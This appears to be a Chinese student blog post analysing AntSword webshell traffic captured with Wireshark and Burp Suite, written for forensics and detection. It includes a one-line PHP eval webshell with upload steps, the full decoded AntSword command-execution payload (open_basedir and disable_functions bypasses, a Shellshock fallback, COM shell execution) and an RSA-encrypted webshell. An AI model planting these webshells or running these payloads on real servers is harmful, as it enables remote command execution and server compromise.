看看蚁剑流量包


今天来看看Misc(雾)

只是简单的看一下蚁剑上传的包被wireshark抓包以后的形式

工具准备

Wireshark / Burp Suite (抓包工具,如果使用Burp需要在蚁剑设置代理)

中国蚁剑(AntSword)

以及测试靶机(使用校内靶机进行测试)

开始测试

1.使用txt文档写一个简单的一句话木马

<?php @eval($_POST["a"]);?>

然后修改成1.php

2.随后上传至靶机,使用蚁剑连接。连接成功后打开虚拟终端

3.使用Wireshark监听数据,虚拟终端内输入whoami,将会获得如下图POST包

也可以输入其他命令(比如我输入的是cd /var/www/html/)

3.1 如果你使用的是Burp Suite,打开监听,设置蚁剑的代理为127.0.0.1:8080

然后重复3.的步骤

可以将其复制出来,会发现仅有简单的urlencode,使用解码工具就能够得到以下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
a=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){
continue;
};
$tmdir=$item."/.1269377";
@mkdir($tmdir);
if(!@file_exists($tmdir)){
continue;
}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){
@chdir("..");
};
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "357"."24f";
echo @asenc($output);
echo "45"."4cc";
}
ob_start();
try{
$p=base64_decode(substr($_POST["qf039f1d9cd528"],2));
$s=base64_decode(substr($_POST["g51c7aeb92ccb2"],2));
$envstr=@base64_decode(substr($_POST["h78f2db56e81bf"],2));
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
if(substr($d,0,1)=="/"){
@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
}
else{
@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
}
if(!empty($envstr)){
$envarr=explode("|||asline|||", $envstr);
foreach($envarr as $v) {
if (!empty($v)) {
@putenv(str_replace("|||askey|||", "=", $v));
}
}
}
$r="{$p} {$c}";
function fe($f){
$d=explode(",",@ini_get("disable_functions"));
if(empty($d)){
$d=array();
}
else{
$d=array_map('trim',array_map('strtolower',$d));
}
return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
};
function runshellshock($d, $c) {
if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(sys_get_temp_dir(), 'as');
putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
if (fe('error_log')) {
error_log("a", 1);
} else {
mail("a@127.0.0.1", "", "", "-bv");
}
} else {
return False;
}
$output = @file_get_contents($tmp);
@unlink($tmp);
if ($output != "") {
print($output);
return True;
}
}
return False;
};
function runcmd($c)
{
$ret=0;
$d=dirname($_SERVER["SCRIPT_FILENAME"]);
if(fe('system')){
@system($c,$ret);
}elseif(fe('passthru')){
@passthru($c,$ret);
}elseif(fe('shell_exec')){
print(@shell_exec($c));
}elseif(fe('exec')){
@exec($c,$o,$ret);
print(join("",$o));
}
elseif(fe('popen')){
$fp=@popen($c,'r');
while(!@feof($fp)){
print(@fgets($fp,2048));
}
@pclose($fp);
}elseif(fe('proc_open')){
$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
while(!@feof($io[1])){
print(@fgets($io[1],2048));
}
while(!@feof($io[2])){
print(@fgets($io[2],2048));
}
@fclose($io[1]);
@fclose($io[2]);
@proc_close($p);
}elseif(fe('antsystem')){
@antsystem($c);
}elseif(runshellshock($d, $c)) {
return $ret;
}elseif(substr($d,0,1)!="/" && @class_exists("COM")){
$w=new COM('WScript.shell');
$e=$w->exec($c);$so=$e->StdOut();
$ret.=$so->ReadAll();
$se=$e->StdErr();
$ret.=$se->ReadAll();
print($ret);
}else{
$ret = 127;
}
return $ret;
};
$ret=@runcmd($r." 2>&1");
print ($ret!=0)?"ret={$ret}":"";;
}catch(Exception $e){
echo "ERROR://".$e->getMessage();
};
asoutput();
die();

&g51c7aeb92ccb2=6nY2QgIi92YXIvd3d3L2h0bWwiO3dob2FtaTtlY2hvIDA5NzRiO3B3ZDtlY2hvIDMyODU1NzkzYmI1Zg==&h78f2db56e81bf=Ay&qf039f1d9cd528=4gL2Jpbi9zaA==
//ps:单独隔开的这一段我不知道是啥东西
又长又臭的一段代码

分析源码

  • 开头:朴实无华的post(连接的密码)

  • 存在有以下的特征:

  • @ini_set("display_errors", "0"); @set_time_limit(0);开头,由于蚁剑是明文传输,所以很容易被发现

  • 后面有base64字符

  • 以及数据包内存在base64加密的分段内容,经过解码后可以看到路径 命令 以及随机数(后面会看见)

  • 使用eval执行

  • 注:旧版蚁剑还有的特征在user-agent处,请求头是antsword xxx,但是在新版的蚁剑中此特征已被移除。UA头已经改为默认ua头了(下图为旧版蚁剑的UA头)

可以看见function占大部分,而且发送指令时,代码和指令是一块发送的(例如发送了其他post的指令)

就像下面的post指令

1
2
3
$p=base64_decode(substr($_POST["qf039f1d9cd528"],2));
$s=base64_decode(substr($_POST["g51c7aeb92ccb2"],2));
$envstr=@base64_decode(substr($_POST["h78f2db56e81bf"],2));

使用wireshark可以看到传参的值

将传参的值使用base64解码(注意,从第三位开始才能正常解码),解码结果如下

1
2
3
4
5
6
bin/sh
cd "/var/www/html";cd /var/www/html/;echo d6fdb533a5e5;pwd;echo 230ef1f
第一个cd:文件路径
第二个cd:输入的指令,前文中已有叙述
echo:应该是返回的随机数
pwd:在linux命令中是查看当前路径

基本上只有简单的加密

Base64加密

在编码器中选择base64加密

wireshark抓包后的结果如下

可以看到明显的base64 eval函数

Value: @eval(@base64_decode($_POST['c540d73cacbdc8']));

经过base64解密,可以看到如下图所示的结果

可以看得出来,和明文是一样的

chr()加密

结果大同小异

同样解码后还是经典的@ini_set("display_errors", "0");

RSA加密

在蚁剑的编码器管理中生成RSA密钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$cmd = @$_POST['ant'];
$pk = <<<EOF
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDjSec5p39mmIrvHqeve/mdoE8C
NplDHfLvBRv9SAhSMFJtf636Z7MljxuN4tu7JNouqJRzQHpvPFPxRoNQqvUPvNS/
+WYSPkrP4dFFCwmR6UP1Qq7oa1K/w/v7oCTKODVJMdKmXfumpupvV1AGIWW9Tn4K
1VLzWRjeUHAHMaxgdwIDAQAB
-----END PUBLIC KEY-----
EOF;
$cmds = explode("|", $cmd);
$pk = openssl_pkey_get_public($pk);
$cmd = '';
foreach ($cmds as $value) {
if (openssl_public_decrypt(base64_decode($value), $de, $pk)) {
$cmd .= $de;
}
}
eval($cmd);

传上去的流量包是这样的,毫无规律


大概就是这样了

写的很水,也不会做Orz


参考资料:

大佬轻喷qwq